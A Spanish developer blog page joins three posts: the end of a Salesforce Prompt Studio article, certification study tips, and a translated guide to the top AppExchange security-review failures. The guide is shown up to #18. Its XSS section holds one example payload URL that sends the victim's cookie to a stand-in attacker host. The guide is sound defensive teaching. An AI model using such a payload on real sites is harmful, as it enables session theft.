El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Certificaciones

Preparación para el examen de arquitecto de datos certificado de Salesforce

Ha estado en mi mente por un tiempo, ya que para mí esta certificación era la última que me faltaba por adquirir en la ruta de Arquitecto de Aplicaciones (da la casualidad de que también tengo el certificado "opcional" de Experience Cloud).

Tener muchas cosas sucediendo en este momento y anhelar algo de espacio mental fue el detonante que el otro día me hizo decir: “Bueno, también puedo intentarlo; Ojalá se me quite de la cabeza de una vez por todas”. Aprendería de cualquier manera, ¡eso es seguro!

Y esto pasó…

¡Uf!

Algunas personas se han acercado para preguntar sobre la preparación para el examen y la orientación, por eso escribo esto aquí para tratar de ayudar a otros.

El contexto es clave

Cualquier certificación de examen que hago está dentro de contexto, con eso me refiero a haber trabajado ya durante algún tiempo en el producto en cuestión.

"Somos lo que hacemos repetidamente. La excelencia, entonces, no es un acto sino un hábito." -Aristóteles

Así es como funciona mi cerebro; de lo contrario, lo encuentro como una actividad abstracta que depende principalmente de la memoria más que de la experiencia. Y bueno, después de todo, soy un Scrum Master, ¡el empirismo existe!

"Salesforce recomienda encarecidamente una combinación de experiencia laboral, asistencia a cursos y autoestudio para maximizar sus posibilidades de aprobar el examen". —Comienzo del sendero

Guía de examen

La oración anterior proviene de la guía del examen; solía ser un PDF, pero ahora el contenido está integrado en Trailhead.

La guía del examen es SIEMPRE tu punto de partida, me sorprende cuánta gente no usa este recurso (¡algunos ni siquiera saben que existe! ¡¿Cómo?!).

La guía del examen está diseñada para ayudarlo a evaluar SI está listo para completar con éxito el examen. Y le brinda un desglose de todas las secciones y temas que se cubrirán, y también de lo que se espera de usted. Por ejemplo en este en particular:

La credencial de Arquitecto de datos certificado de Salesforce está destinada al arquitecto que evalúa el entorno y los requisitos de la arquitectura; y diseña soluciones sólidas, escalables y de alto rendimiento en la plataforma Customer 360. El Arquitecto también tendrá experiencia trabajando con lo siguiente:

  • Modelado de datos y diseño de bases de datos
  • Gestión de datos maestros
  • Gestión de datos de Salesforce
  • Dato de governancia
  • Consideraciones sobre grandes volúmenes de datos
  • Migración de datos

El arquitecto tiene experiencia en comunicar soluciones y diseñar compensaciones a empresas y partes interesadas de TI.

Incluso tienes el esquema del examen donde puedes ampliar cada sección (aquí es donde está lo bueno):

Recursos

¿Mencioné la guía del examen?… ¡Úsala en serio! https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

Literalmente creé mi propio documento a partir de él y desglosé cada elemento, definí la lógica y las consideraciones, escribir y estructurar me ayuda a digerir y reforzar algunos conceptos. Por ejemplo, escribí este artículo disponible públicamente para Pardot hace bastantes años, solo para darle una idea.

Hablando de empirismo, en general, mi mejor recurso es… ¡una organización de edición para desarrolladores! ¡Donde pruebo todo y más! Practica, practica, practica: soy un poco de la vieja escuela en eso: toma el desglose de la guía de certificados para cada elemento, define la lógica y luego juega con ella.

Algunos de los contenidos de este en particular pueden ser un poco más complicados, como grandes volúmenes de datos, pero afortunadamente he estado en algunos proyectos relevantes incluso recientemente, lo que siempre ayuda. También el año pasado con el Sr. Agente Gill 😉

Aunque se escribió hace bastante tiempo, este artículo sigue siendo una lectura muy relevante https://developer.salesforce.com/blogs/engineering/2013/06/extracting-large-data-volume-ldv-in-force-com, y que le permitirá revisar PK Chunking y Bulk API.

Siguiendo con más contenido de la vieja escuela de "antaño", consulte la serie de Extreme Force.com, aquí está la Parte 1: https://developer.salesforce.com/blogs/engineering/2013/02/extreme- carga-de-datos-de-salesforce-parte-1-ajuste-su-modelo-de-datos

Probablemente también sugeriría ignorar sus patrones de diseño de integración, lo que le ayudará a guiar algunas decisiones de respuesta: https://developer.salesforce.com/docs/atlas.en-us.integration_patterns_and_practices.meta/integration_patterns_and_practices/integ_pat_intro_overview.htm

Hacer una combinación de escribirlo yo mismo, probar los conceptos, luego ver algunos videos sobre el mismo concepto y leer más me ayudó a mantenerme concentrado.

Consejos

Como sabe, no puedo darle ningún detalle, eso sería una violación de los términos y condiciones del programa de certificación y tiene consecuencias graves, tanto para quienes comparten como para quienes utilizan cualquier información expuesta del examen.

Lo que te puedo decir es que deberías revisar:

  • Cuándo o cuándo no usar Cuentas personales (esa es la vista de Salesforce, por encima de su opinión)
  • Cómo mejorar la calidad de los datos en toda su pila tecnológica
  • Cuándo o cuándo no utilizar Rollups
  • Qué API usar cuando
  • Cómo manejar grandes volúmenes de datos (es decir, carga, rendimiento, exportación, cosas como compartir, bloqueos, etc.)
  • Cuándo o cuándo no utilizar relaciones maestro-detalle
  • Qué tipo de integración usar y cuándo
  • Cómo capturar y gestionar metadatos
  • Cuándo y cuándo no utilizar objetos grandes y objetos externos
  • Gestión de datos maestros
  • Gobernanza: cumplimiento y funcionalidad relacionada

Seguramente me he perdido algo, pero eso es lo más importante en este momento. Consulte y trabaje con su guía de examen: https://trailhead.salesforce.com/help?article=Salesforce-Certified-Data-Architect-Exam-Guide

¿Qué estás haciendo?

Recuerde también: el objetivo no es simplemente aprobar un examen, sino demostrar que ya tiene el conocimiento y la experiencia.

Ahora es tu turno: ¿Para qué certificación estás trabajando? ¿Cuál es su enfoque?

¡Cuéntanos y etiquétanos para que podamos celebrar contigo!

Categorías
Salesforce AppExchange

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

